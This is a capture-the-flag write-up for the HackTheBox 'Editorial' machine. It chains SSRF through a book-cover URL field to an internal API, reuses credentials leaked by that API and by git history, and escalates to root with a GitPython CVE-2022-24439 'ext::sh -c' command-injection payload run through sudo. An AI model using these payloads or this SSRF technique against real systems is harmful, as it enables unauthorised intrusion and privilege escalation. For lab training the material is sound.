Hackthebox: Editorial

Foued SAIDI Lv4

Overview

Editorial is an easy-difficulty linux machine from HackTheBox. I initially deals with a file upload feature manipulation and SSRF abuse to be able to enumerate internal service running on specific ports and to be able to exfiltrate data from an internal api endpoint to get our user flag. Finally dealing with CVE-2022-24439 which is an RCE in GitPython for version below 3.1.30 that will allow us to take over the whole system.ssss

Editorial-info-card
Editorial-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
PS C:\Users\0xkujen> nmap -A -Pn 10.129.129.83
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-19 02:57 Arabian Standard Time
NSOCK ERROR [0.2690s] ssl_init_helper(): OpenSSL legacy provider failed to load.

Nmap scan report for 10.129.129.83
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0dedb29ce253fbd4c8c1196e7580d864 (ECDSA)
|_ 256 0fb9a7510e00d57b5b7c5fbf2bed53a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=10/19%OT=22%CT=1%CU=38554%PV=Y%DS=2%DC=T%G=Y%TM=6712E8
OS:1F%P=i686-pc-windows-windows)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=
OS:A)SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54
OS:EST11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%
OS:W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=
OS:Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 125.00 ms 10.10.16.1
2 265.00 ms 10.129.129.83

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.59 seconds

We can see that we both have a 22 ssh port open and an exposed web application on port 80. We access the web application and we are redirected to editorial.htb, so let’s add that entry to our /etc/hosts file.

Web Application - http://editorial.htb

We can see that we have a casual web application on our hands:

Web application
Web application

Web Application - http://editorial.htb/upload

Navigation to the Publish with us page, we can see that we can upload a “book” to publish it later. Let’s intercept that and see what we have:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /upload HTTP/1.1
Host: editorial.htb
Content-Length: 546
Cache-Control: max-age=0
Origin: http://editorial.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQnA8wxzlrVNhNypA
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en;q=0.6
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate

------WebKitFormBoundaryQnA8wxzlrVNhNypA
Content-Disposition: form-data; name="bookname"

kujen
------WebKitFormBoundaryQnA8wxzlrVNhNypA
Content-Disposition: form-data; name="bookintro"

kujen
------WebKitFormBoundaryQnA8wxzlrVNhNypA
Content-Disposition: form-data; name="whyus"

kujen
------WebKitFormBoundaryQnA8wxzlrVNhNypA
Content-Disposition: form-data; name="email"

kujen@kujen.htb
------WebKitFormBoundaryQnA8wxzlrVNhNypA
Content-Disposition: form-data; name="phone"

kujen
------WebKitFormBoundaryQnA8wxzlrVNhNypA--

There’s an interesting button on the side which is used for “preview” of the cover, when we click on it we get this request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 291
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybIt6qcaIs0bnJknC
Accept: */*
Sec-GPC: 1
Accept-Language: en-GB,en;q=0.6
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate

------WebKitFormBoundarybIt6qcaIs0bnJknC
Content-Disposition: form-data; name="bookurl"

kujen
------WebKitFormBoundarybIt6qcaIs0bnJknC
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarybIt6qcaIs0bnJknC--

Let’s try replacing the “bookurl” with local hostnames to try and enumerates services running on internal ports. I ran this command after saving the request to a file .\ffuf.exe -u http://editorial.htb/upload-cover -X POST -request requestt.txt -w ports.txt -fs 61 and got the port 5000. Let’ make a request to it and see what we have:

Web application
Web application

We navigate to the provided file and find this interesting data under:

1
2
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

We can see that we have some API endpoints, we access /api/latest/metadata/messages/authors like we did preivously and we get some really amazing data:

1
2
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

We got ssh credentials! Let’s use those and get our user flag:

1
2
3
4
5
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$ cat user.txt
1b090a893289c3******************
dev@editorial:~$

Privilege Escalation to root

We can see from our home directory that there’s another ‘prod’ user. We also have a “.git” directory on the “apps” directory on “dev”‘s home directory. So let’s try to check other git diffs for any other credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
dev@editorial:~/apps/.git$ grep -r "prod" .
./logs/refs/heads/master:1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <[email protected]> 1682906108 -0500 commit: change(api): downgrading prod to dev
./logs/HEAD:1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <[email protected]> 1682906108 -0500 commit: change(api): downgrading prod to dev
dev@editorial:~/apps/.git$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:51:10 2023 -0500

feat: create api to editorial info

* It (will) contains internal info about the editorial, this enable
faster access to information.

diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "[email protected]"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
[email protected]('/api', methods=['GET'])
+def index():
+ data_editorial = {
+ 'version': [{
+ '1': {
+ 'editorial': 'Editorial El Tiempo Por Arriba',
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': '/api/v1/metadata/'
+ }},
+ {
+ '1.1': {
+ 'editorial': 'Ed Tiempo Arriba',
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': '/api/v1.1/metadata/'
+ }},
+ {
+ '1.2': {
+ 'editorial': api_editorial_name,
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': f'/api/v1.2/metadata/'
+ }},
+ {
+ '2': {
+ 'editorial': api_editorial_name,
+ 'contact_email': '[email protected]',
+ 'api_route': f'/api/v2/metadata/'
+ }},
+ {
+ '2.3': {
+ 'editorial': api_editorial_name,
+ 'contact_email': api_editorial_email,
+ 'api_route': f'{api_route}/'
+ }
+ }]
+ }
+ return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
[email protected](api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+ app.run(host='127.0.0.1', port=5001, debug=True)
dev@editorial:~/apps/.git$

Amazing! Now we have his password: “080217_Producti0n_2023!@”

Let’s login using prod user and see what we can do by checking what we can run as sudo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
prod@editorial:/home/dev/apps/.git$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:/home/dev/apps/.git$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
prod@editorial:/home/dev/apps/.git$

We can see that we can run the above script as root.
Also checking this, we can see that GitPython is vulnerable to CVE-2022-24439 .
So let’s get our root:

1
2
3
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/root'
prod@editorial:~$ cat /tmp/root
90a3d09d639e25******************

This will allow us to echo the contents of “/root/root.txt” file to a file of our choice. And that was it for Editorial.

Hope you had fun!
-0xkujen

  • Title: Hackthebox: Editorial
  • Author: Foued SAIDI
  • Created at : 2024-10-19 02:44:22
  • Updated at : 2024-10-19 20:23:02
  • Link: https://kujen5.github.io/2024/10/19/Hackthebox-Editorial/
  • License: This work is licensed under CC BY-NC-SA 4.0.